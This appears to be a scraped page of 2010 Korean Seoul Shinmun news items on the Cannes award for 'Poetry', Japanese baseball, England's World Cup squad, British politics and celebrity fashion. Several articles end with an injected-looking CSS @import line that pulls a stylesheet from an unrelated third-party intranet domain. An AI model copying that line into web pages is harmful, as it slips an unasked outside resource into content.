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  • [NTN포토] ‘칸의 ★’ 이창동·윤정희

    [NTN포토] ‘칸의 ★’ 이창동·윤정희

    [서울신문NTN 한윤종 기자] 이창동 감독과 배우 윤정희가 26일 오후 서울 신촌 현대백화점 유플렉스에서 열린 영화 ‘시’(감독 이창동) 제63회 칸 영화제 각본상 수상기념 기자회견에 참석해 포즈를 취하고 있다. 한국 영화가 칸 영화제 경쟁부문에서 수상한 것은 2002년 임권택 감독의 ‘취화선’ 이후 5번째지만, 각본상은 이번이 처음이다. ‘시’의 시나리오를 직접 쓰고 연출한 이창동 감독은 앞서 2007년 ‘밀양’으로 전도연에게 여우주연상의 영광을 안긴 바 있다. 한윤종 기자 han0709@seoulntn.com@import'http://intranet.sharptravel.co.kr/INTRANET_COM/worldcup.css';
  • 전경련, 17만 일자리 창출 제시

    전국경제인연합회(전경련)가 일자리 창출 방안으로 돔구장 콤플렉스 건설 등을 제시했다. 전경련 산하 ‘300만 고용창출위원회’는 25일 서울 영등포 타임스퀘어에서 국회와 정부, 체육계 및 산업계 등을 대표하는 인사들이 참여한 가운데 제2차 회의를 열어 이 같은 프로젝트를 제안했다. 위원회는 당장 투자가 이뤄질 수 있는 분야로 프로야구 돔구장 건설을 꼽았다. 돔구장 콤플렉스는 서울시내 6만㎡ 이상의 부지에 민간 자본 7000억원을 들여 4만석 이상 규모의 경기장을 세우고, 그 안에 대형마트와 쇼핑몰, 놀이시설 등 상업·공연·문화시설을 곁들임으로써 복합문화체육시설로 만드는 것이다. 고용창출 효과는 1만 2100명이 될 것으로 위원회는 예상했다. 위원회는 또 성장 가능성과 일자리 창출 효과가 크지만 현재 해외에 의존하고 있는 항공기 정비산업을 활성화할 것을 제안했다. 항공기 정비산업이 활발해지면 2016년까지 국내 시장규모가 4조 2000억원대에 이르고, 신규 일자리도 1만 4000개 만들어질 것이라고 위원회는 전망했다. 이와 함께 2000년대 초반과 유사한 창업붐이 일어난다면 14만 4000개 정도의 새로운 일자리가 생길 수 있다고 기대했다. 창업 활성화 방안으로는 민·관 매칭펀드를 활용한 창업거래소 설립 등을 제시했다. 위원회는 이번 2차 회의에서 제시된 방안을 활용하면 모두 17만개 이상의 일자리를 새롭게 창출할 수 있다고 덧붙였다. 이두걸기자 douzirl@seoul.co.kr
  • [NTN포토] 윤정희 “황금 종려상 아쉽네요”

    [NTN포토] 윤정희 “황금 종려상 아쉽네요”

    [서울신문NTN 한윤종 기자] 배우 윤정희가 26일 오후 서울 신촌 현대백화점 유플렉스에서 열린 영화 ‘시’(감독 이창동) 제63회 칸 영화제 각본상 수상기념 기자회견에 참석해 취재진의 질문에 답하고 있다. 한국 영화가 칸 영화제 경쟁부문에서 수상한 것은 2002년 임권택 감독의 ‘취화선’ 이후 5번째지만, 각본상은 이번이 처음이다. ‘시’의 시나리오를 직접 쓰고 연출한 이창동 감독은 앞서 2007년 ‘밀양’으로 전도연에게 여우주연상의 영광을 안긴 바 있다. 한윤종 기자 han0709@seoulntn.com@import'http://intranet.sharptravel.co.kr/INTRANET_COM/worldcup.css';
  • [NTN포토] 윤정희 “수많은 칭찬, 난 행복한 배우!”

    [NTN포토] 윤정희 “수많은 칭찬, 난 행복한 배우!”

    [서울신문NTN 한윤종 기자] 배우 윤정희가 이 26일 오후 서울 신촌 현대백화점 유플렉스에서 열린 영화 ‘시’(감독 이창동) 제63회 칸 영화제 각본상 수상기념 기자회견에 참석해 취재진의 질문에 답하고 있다. 한국 영화가 칸 영화제 경쟁부문에서 수상한 것은 2002년 임권택 감독의 ‘취화선’ 이후 5번째지만, 각본상은 이번이 처음이다. ‘시’의 시나리오를 직접 쓰고 연출한 이창동 감독은 앞서 2007년 ‘밀양’으로 전도연에게 여우주연상의 영광을 안긴 바 있다. 한윤종 기자 han0709@seoulntn.com@import'http://intranet.sharptravel.co.kr/INTRANET_COM/worldcup.css';
  • [NTN포토] 이창동 감독, ‘내 인생 최고의 배우는 윤정희!’

    [NTN포토] 이창동 감독, ‘내 인생 최고의 배우는 윤정희!’

    [서울신문NTN 한윤종 기자] 이창동 감독이 26일 오후 서울 신촌 현대백화점 유플렉스에서 열린 영화 ‘시’(감독 이창동) 제63회 칸 영화제 각본상 수상기념 기자회견에 참석해 취재진의 질문에 답하고 있다. 한국 영화가 칸 영화제 경쟁부문에서 수상한 것은 2002년 임권택 감독의 ‘취화선’ 이후 5번째지만, 각본상은 이번이 처음이다. ‘시’의 시나리오를 직접 쓰고 연출한 이창동 감독은 앞서 2007년 ‘밀양’으로 전도연에게 여우주연상의 영광을 안긴 바 있다. 한윤종 기자 han0709@seoulntn.com@import'http://intranet.sharptravel.co.kr/INTRANET_COM/worldcup.css';
  • 故브리트니 머피 남편, 약물중독 사망?

    故브리트니 머피 남편, 약물중독 사망?

    할리우드 여배우 브리트니 머피가 지난해 12월 심장마비로 갑작스럽게 숨진데 이어 5개월 만에 남편 사이먼 몬잭이 사망했다. 미국 LA타임즈는 23일(현지시각) “사이먼 몬잭이 사체로 발견됐다.”고 보도했다. 사이먼 몬잭은 캘리포니아주 할리우드 힐스에 위치한 자택에서 숨진 채 발견되었고 발견당시 다량의 약물이 함께 발견돼 ‘약물중독’의 가능성을 증폭시켰다. 이어 한국시간으로 25일 사망원인에 대한 1차 조사결과가 발표됐다. 영국 연예지 ‘오케이’(OK)는 LA경찰 결과 발표 내용을 인용하여 “1차 현장 감식 결과 보고에서 타인에 의한 살인이나 범죄 흔적은 찾지 못했다.”고 보도했다. 또 LA경찰의 대변인 알렉스 오티즈는 항간에 알려진 약물 중독설에 대해 “집안에서 다량의 처방약품들이 발견된 것은 사실이지만 직접적인 사망원인이 약물 복용에 의한 것인지는 아직 알 수 없다.”고 전했다. 이어 경찰 측은 각종 매체를 향해 “섣부른 추측을 자제해 달라”고 당부했다. 또 “몬잭의 갑작스런 죽음으로 가족들이 매우 고통스러운 상황에 놓여있다.”며 “고인과 가족들의 사생활을 지켜줘야 할 것”이라고 강조했다. 영화 ‘씬시티’(Sin City), ‘우리 방금 결혼했어요’, ‘업타운 걸스’(Uptown Girls) 등 에서 발랄한 매력을 발산했던 브리트니 머피와 시나리오 작가 사이먼 몬잭 부부는 2007년 배우와 감독으로 만나 결혼했으며 자녀는 없다. 사진 = ‘업타운 걸스’ 스틸 컷, 서울신문NTN DB 서울신문NTN 전설 인턴 기자 legend@seoulntn.com@import'http://intranet.sharptravel.co.kr/INTRANET_COM/worldcup.css';
  • 英 카펠로 감독, 베컴도 포백도 필요하지 않다?

    英 카펠로 감독, 베컴도 포백도 필요하지 않다?

    44년 만에 월드컵 우승을 노리는 ‘축구종가’ 잉글랜드의 고민은 경험 많은 데이비드 베컴의 부재와 좌우 풀백 자원의 부족이다. 그럼에도 파비오 카펠로 감독은 별 다른 대체자원 없이 남아공 본선을 준비 중이다. 그 이유는 무엇일까? ▲ ‘선수’ 베컴이 아닌 ‘코치’ 베컴은 필요없다 부상으로 월드컵 출전이 무산된 베컴은 잉글랜드 대표팀 코치로 월드컵에 참가할 가능성이 높은 것으로 알려졌다. 베컴의 다양한 월드컵 경험이 대표팀에 시너지효과를 불러올 것으로 기대됐기 때문이다. 하지만 카펠로 감독은 언론과의 인터뷰를 통해 베컴의 코치설은 와전된 것으로 밝혔다. 그는 ‘ESPN 사커넷’을 통해 “베컴은 내가 구성한 코칭스태프 명단에 포함되지 않았다. 그는 월드컵 기간 동안 우리와 함께 머물며 우리를 도울 수 있지만 코치로 활약하지는 않을 것”이라며 확실한 선을 그었다. 베컴이 코치가 아닌 잉글랜드의 2018년 월드컵 유치 사절단으로 남아공에 갈 것이라는 얘기다. 카펠로 감독이 베컴의 코치진 합류를 거부한 이유는 기존 코치들에 대한 배려와 베컴이 코치로서 준비가 되지 않았다고 판단했기 때문이다. 그는 “베컴은 우리와 함께 할 준비가 돼 있지 않았다. 그는 2018년 월드컵 유치에 전념할 것”이라고 덧붙였다. 현재 베컴의 대체자로 월드컵 출전이 예상되는 선수는 시오 월콧(아스날)과 아담 존슨(맨시티) 등이다. ▲ 1명뿐인 오른쪽 풀백…이유는 스리백? 최근 영국 현지 언론들은 일제히 카펠로 감독이 2010년 남아프리카공화국 월드컵 본선에서 3-5-2 포메이션 가동을 고려하고 있다고 보도했다. 잉글랜드는 전통적으로 4-4-2 시스템을 고집해왔다. 과거 스티브 맥클라렌 재임시절 스리백을 사용한 적이 있지만, 유로2008 본선 진출에 실패하며 곧바로 포백으로 다시 돌아왔다. 그러나 잉글랜드의 30인 예비 엔트리를 보면 카펠로 감독이 진지하게 스리백을 검토 중인 것을 알 수 있다. 카펠로는 10명의 수비수를 선발했는데, 그 중 오른쪽 풀백은 글렌 존슨(리버풀) 한 명이다. 제이미 캐러거(리버풀)의 경우 오른쪽 풀백 소화가 가능하지만, 결코 최선의 선택은 아니다. 오히려 올 시즌 맨유에서 좋은 모습을 선보인 게리 네빌이 더 좋은 카드다. 하지만 카펠로는 네빌을 추천한 알렉스 퍼거슨 감독의 조언을 무시한 채 무려 6명의 중앙 수비수를 예비 명단에 포함시켰다. 만약 이들이 모두 생존한다면 잉글랜드가 포백이 아닌 스리백을 가동할 가능성이 더욱 높아지는 셈이다. 과연, 카펠로 감독은 잉글랜드의 상징과도 같았던 베컴과 포백 없이 월드컵 우승을 달성할 수 있을까. 축구종가의 행보에 관심이 집중되고 있다. 서울신문 나우뉴스 안경남 pitchaction.com@import'http://intranet.sharptravel.co.kr/INTRANET_COM/worldcup.css';
  • 치바롯데 김태균 ‘5월 MVP’후보에

    치바롯데 김태균 ‘5월 MVP’후보에

    한국산 바주카포’ 김태균(치바 롯데)이 일본야구기구(NPB)에서 매달 선정하는 일본생명 협찬 “5월 MVP” 후보에 올랐다. 월간 MVP는 한달동안 센트럴리그와 퍼시픽리그에서 최고의 활약을 펼친 투수와 타자에게 수여하는 상이다. 지난 3-4월 퍼시픽리그 타자부문은 카와사키 무네노리(소프트뱅크)가 수상했다. 김태균을 포함해 이번달 후보에 올라온 10명의 선수들의 면면을 살펴보면 화려함 그 자체다. 퍼시픽리그를 대표하는 선수들이 대거 후보에 올랐음은 물론, 교타자와 홈런타자가 적절히 섞여 있는 것이 특징. 특히 일본진출 후 첫 월간 MVP 후보에 오른 김태균의 수상가능성이 커 관심을 모으고 있다. 지난달 수상자인 카와사키는 프로데뷔후 11년만에 처음으로 월간 MVP를 수상했다. 쉽게 차지할수 있는 상이 아니라는 뜻이다. 과연 김태균은 일본진출 후 첫 월간 MVP를 차지할수 있을까. 지금까지(23일 기준)의 성적으로만 놓고 보면 꽤 긍정적이다. ◆ 세이부 라이온스 소속 후보들 올 시즌 강력한 우승후보로 손꼽히는 세이부가 시즌 초반 부진했던 것은 마운드에 비해 터지지 않았던 팀타선 때문이었다. 하지만 세이부는 언제 그랬느냐는듯 리그 1위(31승 18패 승률.633)까지 치고 올라왔고 그 중심에는 5월 MVP 후보에 오른 나카지마 히로유키와 카타오카 야스유키가 있다. 부상때문에 시즌 초반 1군에서 얼굴을 볼수 없었던 나카지마의 5월 성적은 화려하다. 5월 성적은 16경기 출전, 타율 .322(59타수 19안타) 홈런4개,타점11개다. 덕분에 현재 리그 타율 1위에 올라와 있다. 카타오카는 16경기 출전, 타율 .352(71타수 25안타) 홈런2개,타점6개다. 카타오카는 나카지마와 키스톤 콤비를 이루고 있지만 중심타자가 아닌 관계로 타점이 적어 MVP 수상은 힘들것으로 예상된다. ◆ 니혼햄 파이터스 소속 후보들 지난해 우승팀인 니혼햄(20승 1무 27패)은 현재 리그 꼴찌다. 하지만 4월달의 부진에서 벗어나며 서서히 상승세를 타고 있는데 어느새 5위 라쿠텐을 반경기차까지 쫓아왔다. 그 중심에는 월간 MVP 후보에 올라 있는 베테랑 타자인 이나바 아츠노리와 리드오프 타나카 켄스케가 있다. 하지만 이들이 월간 MVP를 차지할 가능성은 희박한 편이다. 이나바는 15경기 출전, 타율 .293(58타수 17안타) 홈런2개,타점15개로 빼어난 활약을 펼쳤지만 3할이 되지 않는 타율이 걸림돌이다. 정교한 타격과 빠른발을 자랑하는 타나카의 5월 성적은 15경기 출전, 타율 .390(59타수 23안타) 0홈런,타점3개다. 타율을 제외하면 내세울게 없는 성적이지만 팀의 1번타자로서 .426의 출루율은 그의 빠른발만큼이나 돋보이는 활약이다. ◆ 롯데 마린스 소속 후보들 3할에 육박하는 팀타율(.296)이 말해주듯 리그에서 가장 많은 3명의 후보들이 올라와 있다. 리드오프인 니시오카 츠요시와, 김태균의 절친한 동료 오마츠 쇼이츠, 그리고 김태균이다. 니시오카의 5월은 그야말로 활화산과 같은 모습이었다. 15경기 출전, 타율 .435(62타수 27안타) 홈런3개,타점이 11개나 된다. 중심타자도 아닌 니시오카가 11타점이나 올렸다는 것은 지금 치바 롯데의 타선이 어느정도인지를 잘 대변해준다. 니시오카는 김태균의 월간 MVP 수상에 가장 걸림돌이 되는 타자라고도 할수 있다. 지난해 팀의 4번타자를 맡았던 오마츠의 5월 성적은 15경기 출전, 타율 .323(62타수 20안타) 홈런4개, 타점10개다. 김태균의 뒤에 배치된 오마츠는 김태균으로 인해 타점이 부족한 편이다. 김태균의 5월 성적은 믿을수 없을만큼 화려하다. 15경기 출전, 타율 .321(56타수 18안타) 홈런9개에 타점은 무려 23개다. 후보에 오른 9명의 선수들과 비교해 보면 홈런과 타점에서 압도적인 성적이다. 일본야구가 유독 타율에 대한 값어치를 높이 평가한다고는 하지만 팀 득점과 직결되는 김태균의 홈런과 타점 갯수를 감안해 볼때 당연히 월간 MVP는 김태균의 차지가 되어야 한다. ◆ 그 밖의 소속팀 후보들 주니치에서 이적해와 지난해 성적을 내지 못했던 베테랑 타자 나카무라 노리히로(라쿠텐)의 5월달도 눈부셨다. 16경기에 출전해 타율 .400(60타수 24안타) 홈런2개,타점11개다. 라쿠텐도 투수력에 비해 타선이 빈약한 팀인데 팀성적이 하락한것도 이때문이다. 노장파워를 보여준 나카무라의 부활은 반갑지만 그가 5월 MVP에 선정될 확률은 희박하다. 역시 베테랑 타자인 타무라 히토시(소프트뱅크)도 후보에 올랐다. 16경기 출전, 타율 .349(63타수 22안타) 홈런4개,타점은 10개다. 하위타선과의 연결고리 역할을 하는 선수로 팀에서는 없어서는 안될 선수지만 남은 경기에서 더 분발하지 않으면 후보에 오르는걸로 만족해야 할듯 보인다. 마지막 10번째 후보는 지난해까지 한신 타이거즈에서 뛰다 올해 오릭스 버팔로스로 이적한 외국인 타자 아롬 발디리스다. 발디리스는 팀의 주포인 알렉스 카브레라의 잦은 부상으로 인해 빈타에 허덕였던 팀타선을 지켜내며 알찬 한달을 보내고 있는 중이다. 15경기 출전해 타율 .404(52타수 21안타) 홈런3개,타점은 9개다. 워낙 팀성적이 좋지 않기에 돋보이지 못하고 있는 발디리스는 아직 규정타석을 채우지 못하고 있다. ‘5월 MVP’ 후보에 오른 타자들의 성적을 살펴보면 지금까지는 단연 김태균의 활약이 돋보인다. 문제는 앞으로 남은 경기에서도 꾸준한 성적을 보여줄수 있을지다. 현재 치바 롯데는 6경기를 남겨두고 있다. 한신전(24-25일),히로시마전(26-27일),요코하마전(29-30일) 인데 대체적으로 경기일정이 좋아 지금까지의 성적을 유지하는데 있어 어려움은 없을듯 싶다. 김태균이 이승엽(요미우리) 이후 첫 한국인 선수 ‘월간 MVP’ 수상자가 됐으면 하는 바람이다. 서울신문 나우뉴스 해외야구통신원 윤석구 http://hitting.kr/@import'http://intranet.sharptravel.co.kr/INTRANET_COM/worldcup.css';
  • ‘최지우, 내마음의 아프리카’ 사진전 개최

    ‘최지우, 내마음의 아프리카’ 사진전 개최

    한류스타 최지우의 아프리카 봉사활동을 담은 사진전이 개최된다. 이 사진전은 특히 최지우가 직접 카메라로 담은 사진들도 함께 선보이게 돼 더욱 눈길을 끈다.캐논코리아컨슈머이미징은 국제구호개발기구 월드비전과 함께 오는 27일부터 6월30일까지 신사동 캐논플렉스에서 ‘최지우, 내 마음의 아프리카’ 사진전을 개최한다.이번 사진전에는 마음으로 아이들을 어루만지고 사랑을 전한 최지우의 모습이 고스란히 담겨 있으며, 아프리카 아이들의 해맑은 미소가 녹아있다.특히 포토그래퍼 외에 방송 촬영 틈틈이 ‘캐논 EOS 550D’로 최지우가 직접 촬영한 사진들도 선보일 예정이며 이번 사진전에 전시됐던 사진과 엽서 판매 수익금은 전액 월드비전에 전달돼 식수사업 후원으로 쓰여진다.최지우는 “물을 얻기 위해 먼 길을 맨발로 걸어 다니고, 부모님을 대신해 가사를 전담하며 동생과 오빠를 돌보던 아이들, 내가 준 머리핀을 달고 해맑게 웃던 아이들의 모습 등이 생생하게 떠오른다.”며, “아프리카를 다녀온 후 나눔의 행복을 알게 된 것처럼 이번 사진전을 통해 더 많은 사람들이 감동을 받고 또 아프리카 아이들을 위한 나눔에 동참하게 되길 기대한다.”고 말했다.사진 = 위드컬처서울신문NTN 채현주 기자 chj@seoulntn.com@import'http://intranet.sharptravel.co.kr/INTRANET_COM/worldcup.css';
  • ‘타자는 외국인-투수는 토종’ 日야구의 흐름

    ‘타자는 외국인-투수는 토종’ 日야구의 흐름

    최근 몇년동안 일본야구의 흐름을 보면 타자는 외국인 선수, 투수는 일본 토종 선수들로 양분된 느낌이다. 정확히 말하면 정교한 타자는 토종선수들이 많지만 슬러거들은 외국인 타자들이 득세를 하고 있다. 지난해 센트럴리그에서 타율 1위를 차지한 선수는 알렉스 라미레즈(.322 요미우리)다. 정교함과 장타력을 동시에 겸비한 라미레즈의 타율왕 획득은 일본야구에서 활약한 기간을 감안할때 특별히 놀랄만한 일은 아니다. 2008년 이부문 1위였던 우치카와 세이치 (요코하마)가 라미레즈에 이어 타율 2위를 차지하며 ‘정교함=일본 토종선수’ 이란 공식은 여전했고 출루율왕 역시 아오키 노리치카(.400 야쿠르트)가 차지하며 이 공식을 뒷받침 해줬다. 퍼시픽리그 역시 마찬가지였다. 타율 .327로 리그 1위를 차지했던 츠치야 텟페이(라쿠텐) 출루율 1위는 나카지마 히로유키(.398 세이부)의 몫이었다. 이렇듯 빼어난 타격솜씨와 정교한 선구안을 갖춘 소위 ‘잔야구’에 능한 선수들은 거의 대부분 일본인 선수들이었다. 하지만 ‘야구의 꽃’이라고 할수 있는 홈런을 비롯한 타점,장타율 등에서는 외국인 타자들이 강세를 보였다. 하지만 한가지 주목해봐야 할점은 일본 토종선수들 가운데 홈런타자라고 불릴만한 선수들은 베테랑 타자들을 제외하곤 전무해져 가고 있다는 사실이다. 지난해 센트럴리그 홈런왕(39개) 타점왕(110) 2연패를 차지한 토니 블랑코(주니치)와 리그 MVP를 수상한 라미레즈(홈런31개)를 제외하면 30홈런 이상을 쳐낸 타자는 요미우리의 오가사와라 미치히로(1973년생, 홈런31개)와 아베 신노스케(1979년생,홈런32개)뿐이다. 20대의 젊은 토종거포는 찾아볼수가 없었다. 물론 퍼시픽리그에서 2년연속 홈런왕을 차지했던 나카무라 타케야(48개, 세이부)가 있긴 하다. 하지만 이선수는 ‘모 아니면 도’ 식의 극단적인 스윙에 따른 엄청난 삼진갯수와 낮은 타율로 인해 일본을 대표할만한 선수라 불리기엔 미흡한 타자다. 지난해 퍼시픽리그에서 30홈런 이상을 쏘아올린 타자는 나카무라를 제외하고 야마사키 타케시(홈런39개, 라쿠텐)가 유일했는데, 야마사키는 이미 불혹(1968년생)을 넘긴 선수다. 하지만 투수쪽을 보면 다승,평균자책점,탈삼진,세이브 등의 타이틀 홀더는 모두 일본 토종 선수들의 몫이었다. 센트럴리그의 요시미 카즈키(주니치),타테하마 쇼헤이(야쿠르트),이와세 히토키(주니치), 퍼시픽리그의 와쿠이 히데아키(세이부) 다르빗슈 유(니혼햄),스기우치 토시야(소프트뱅크), 타케다 마사루(니혼햄)가 각 부문 타이틀 수상자들인데, 요미우리의 외국인 투수인 딕키 곤잘레스(다승2위)를 제외하면 돋보일 정도의 두각을 나타낸 외국인 투수가 없었다고 해도 과언이 아니다. 지난해와 마찬가지로 올 시즌 역시 이러한 추세가 지속되고 있다. 현재 센트럴리그 타율 1위를 달리고 있는 모리노 마사히코(.400 주니치)와 출루율 1위인 와다 카즈히로(.495 주니치), 퍼시픽리그는 부상으로 인해 결장이 길었던 외국인 타자 알렉스 카브레라가 타율 1위(.400)를 기록중이지만 시간이 지나면 정교함이 뛰어난 카와사키 무네노리(소프트뱅크)와 나카지마 히로유키(세이부)가 그 자리를 대신할 가능성이 크다. 그동안 일본에서의 활약을 놓고 봤을때 카브레라는 홈런과 장타율 부문에서 본연의 페이스를 보여줄것으로 예상되기 때문이다. 현재 양리그 공히,슬러거의 징표라고 할수 있는 홈런,타점,장타율 상위권에 올라와 있는 선수는 외국인 타자, 아니면 나이많은 베테랑 타자들이 주류를 이루고 있다. 일본야구가 안고 있는 ‘젊은 거포’ 부재의 고민이 해가 갈수록 심각해지고 있다는 느낌이다. 오가사와라를 비롯해 코쿠보 히로키(소프트뱅크)와 같은 나이 많은 선수들이 은퇴를 하면 이들을 대체할수 있는 젊은 선수들이 확실히 부족한게 지금의 일본야구다. 지난 월드 베이스볼 클래식(WBC) 당시 일본대표팀의 4번 타자를 맡았던 무라타 슈이치(요코하마)가 본선라운드에서 허벅지 부상을 당하자, 무라타의 대체선수로 불러들인 선수가 쿠리야마 켄타(히로시마)다. 물론 쿠리야마 역시 훌륭한 선수지만, 쿠리야마를 제외하면 중심타선에 배치할 선수가 있었는지도 의문시 된다. 몇개의 홈런과 타점을 기록해야 ‘거포’ 라고 말할수 있는지는 명확하진 않다. 하지만 한 시즌 144경기를 치르는 경기수를 감안할때 그리고 양리그 통틀어 12개구단을 보유하고 있는 일본의 팀수와 선수숫자를 생각해 보면 진정한 거포라고 불릴만한 선수가 부족한게 사실이다. 지난해 일본토종 선수들 가운데 ‘3할-30홈런’을 기록한 선수는 오가사와라가 유일했고 1980년 이후에 출생한 젊은 선수들 가운데 30홈런 이상을 쏘아올린 타자는 나카무라가 유일했다. 지금과 같은 페이스라면 올 시즌 역시 변함이 없을듯 보인다. 1982년생, 그리고 리그를 옮긴 첫 시즌에 지금과 같은 활약을 보여주고 있는 김태균(치바 롯데)의 모습이 놀라운 것도 바로 이점에 있다고 볼수 있다.@import'http://intranet.sharptravel.co.kr/INTRANET_COM/worldcup.css';
  • 캐머런 의회 개혁 칼 뽑았다

    데이비드 캐머런 영국 총리가 16일(현지시간) 인터뷰에서 의회 개혁에 대한 계획을 공개했다고 AP통신, BBC 등 외신들이 보도했다. 가장 눈길을 끄는 부분은 ‘하원의원의 임기를 5년으로 하고 내각 불신임에는 55%의 동의가 필요하다’는 조항이다. 영국 하원의 임기는 5년으로 정해져 있지만 총리의 필요에 의해 언제든지 여왕에게 해산을 청원할 수 있었다. 캐머런 총리는 “나는 영국 역사상 최초로 권리를 포기하는 총리가 될 것”이라며 “거대한 도전이지만, 옳은 일이라고 믿는다.”고 강조했다. 그러나 일각에서는 내각 불신임에 의원 55%의 동의가 필요하다는 조항이 향후 자민당과의 연정이 깨졌을 경우를 대비한 포석이라는 지적도 나오고 있다. 법 개정이 이뤄질 경우 의석의 47%를 차지하고 있는 보수당을 뺀 나머지 정당들이 모두 연합해도 내각 불신임이 불가능하기 때문이다. 캐머런 총리는 또 “17일 중으로 조지 오스본 재무장관이 재정긴축에 관한 구체적인 방안을 공개할 것”이라고 말했다. 한편 캐머런 총리는 14일 취임 후 첫 방문지로 스코틀랜드 의회를 찾아 알렉스 샐먼드 제1장관 등과 만나 자치정부 지원 방안과 지역 경제 활성화 대책 등을 논의했다. 스코틀랜드는 고든 브라운 전 총리 등을 배출한 전통적인 노동당 강세 지역으로 보수당은 이번 총선에서도 단 1석만을 얻었다. 15일에는 취임 이후 영국을 방문한 첫 외국 정상인 하미드 카르자이 아프가니스탄 대통령과 버킹엄셔의 총리 전원별장 체커스에서 회담을 갖고 외교 활동도 시작했다. 아프간은 영국이 파병한 곳으로 윌리엄 헤이그 외무장관은 “총리가 외교정책의 최우선 순위를 ‘아프가니스탄’에 두고 있다.”고 밝히는 등 역할 변화가 주목된다. 이석우기자 jun88@seoul.co.kr
  • 연예인 협찬·선택… 망신당하거나 대박나거나

    연예인 협찬·선택… 망신당하거나 대박나거나

    신라면세점에서 ‘퇴출’ 당해 체면을 구긴 영국 브랜드 버버리가 엉성한 연예인 협찬으로 또 ‘굴욕’을 연출했다. 최근 신라면세점이 매출 부진을 들어 인천공항점 매장을 빼라고 요구하자 버버리는 서울 장충동의 신라면세점 매장에서도 빠지겠다고 강경한 자세를 보였다. 버버리 측은 “매출 부진은 절대 매장을 철수하는 이유가 아니다. 새로운 사업전략을 위해서다.”라고 강변했다. ●버버리, 황정음 의상 피팅 잘못돼 굴욕 실제 지난 3월까지 여섯 달 동안 가방 등 액세서리와 의류를 아우른 버버리의 전 세계 매출은 7% 상승했다. 최지우, 임수정, 엄지원, 오윤아, 이나영, 한예슬 등 연예인 협찬에 공을 들여 온 버버리는 드라마 ‘자이언트’ 시사회장에 참석한 황정음에게 2010년 버버리 프로섬 봄·여름 컬렉션 의상을 입혔다가 브랜드와 연예인 모두 얼굴을 붉혀야만 했다. 키 180㎝가 넘는 모델이 패션쇼장에서 입은 의상을 시침질 없이 그대로 황정음에게 입히는 바람에 속치마가 드러나고 손은 소매에 파묻히는 우스꽝스러운 모습이 연출됐기 때문이다. 게다가 구두 바닥에는 긁힘 방지를 위해 흰색 스티커까지 붙어 있었다. 버버리 측은 “골드 메탈 시퀸 장식이 돋보이는 화려한 의상으로 황정음이 맡은 은막의 스타 ‘이미주’ 캐릭터와도 어울린다.”고 홍보했지만 결과적으로 우스운 꼴이 되고 만 것. 버버리 측은 “예전에 황정음과 화보를 촬영할 때도 버버리 프로섬 의상을 시침질 없이 그대로 입었지만 워낙 날씬해서 잘 맞았다.”며 아쉬워했다. ●장동건-고소영 伊브랜드 공항패션 인기 협찬이 아니라 스타의 ‘간택’으로 대박 난 브랜드도 있다. 장동건·고소영 부부의 결혼식으로 유명해진 것은 이탈리아 신발 브랜드인 ‘아쉬’와 가방 브랜드 ‘발렉스트라’다. 지난해부터 우리나라에서 판매된 아쉬를 장동건·고소영은 귀국길에 나란히 신었다. 장동건은 ‘빈센트’(30만원대), 고소영은 ‘트위스트’(20만원대) 제품을 착용했다. 아쉬 측은 협찬이 아니라 연예인이 직접 구매한 것이라고 밝혔다. 특히 고소영이 신은 트위스트는 버클이 달린 컨버스 운동화에 10㎝짜리 웨지힐이 결합한 디자인이 뛰어난 제품. 지금 구매하려면 대기 명단에 이름을 올리고 기다려야 한다. 지난해 10월 신라호텔에 입점한 이탈리아 가방 브랜드 ‘발렉스트라’는 제품 어디에서도 로고를 찾아보기 어렵다. 특정 브랜드가 드러나는 것을 선호하지 않는 부유층을 위해 만들었기 때문이란 게 발렉스트라 측의 설명. 특히 때가 타기 쉬운 기내용 가방을 흰색으로 만들어 개인용 제트기를 타고 다니는 부자들뿐 아니라 장동건·고소영 부부의 함 가방과 여행용 가방으로도 사랑받았다. 윤창수기자 geo@seoul.co.kr
  • 엄마·딸 닮은 상처 치유의 길

    사랑이라는 한 단어로는 정의 내릴 수 없는 엄마와 딸의 관계. 모든 것을 내줄 것처럼 헌신과 애정을 쏟아붓다가도 서로의 마음에 상처를 내며 힘들어하는 모녀 관계는 평생 풀지 못할 숙제처럼 복잡하다. ‘왜 나는 엄마처럼 살아갈까’(로라 아렌스 퓨어스타인 지음, 애플북스 펴냄)는 엄마의 상처와 문제점까지 닮은 딸들의 자아를 치료하는 과정을 따라간 책이다. 30년 넘게 여성과 관련된 심리 상담을 해온 로라 아렌스 퓨어스타인 박사는 수많은 상담 사례와 유명 인사들의 사례, 책, 영화 등의 자료를 통해 엄마와 딸의 속마음을 자세히 알려주고 각자의 상처를 치유하는 길을 안내한다. 저자는 “엄마는 딸의 거울이며, 엄마의 왜곡된 자아상을 딸이 물려받게 된다.”고 주장한다. 딸들은 무의식적으로 엄마를 본받거나 엄마와 자신을 동일시하면서 여러 가지 문제를 겪게 될 때가 많지만, 사랑이라는 미명 아래 간과되기 쉽다는 것이다. 책속에 등장하는 제니라는 여성은 어린 시절부터 심각한 외모 콤플렉스에 시달려 늘 자신감이 없는 인생을 살아 왔다. 그런데 이처럼 왜곡된 자아상은 제니의 어머니 소냐에게 영향을 받았고, 소냐 역시 그 어머니로부터 물려받은 것이었다. 저자가 예로 든 마릴린 먼로가 정신병을 앓는 어머니 탓에 평생 자신을 보잘것없는 존재로 여겼고, 다이애나 왕세자비는 어머니를 닮아 사람들 앞에서 자기 모습을 위장하는 데 뛰어났다는 등의 사실은 눈길을 끈다. 그러나 저자는 이 책이 단순히 딸의 문제에 원인이 된 어머니를 비난하기 위한 책은 아니라고 설명한다. 단지 어머니에게서 딸에게 무의식적으로 전해지는 숨겨진 패턴을 밝히고자 한다는 것이다. 어머니가 딸을 자신과 분리하지 못하는 데서 생기는 왜곡된 자아상은 딸을 소심하고 불안한 인격체로 성장시키고, 다음 세대에까지 영향을 미친다는 지적은 새겨들을 만하다. 이은주기자 erin@seoul.co.kr
  • 루니 짝꿍 고민되네

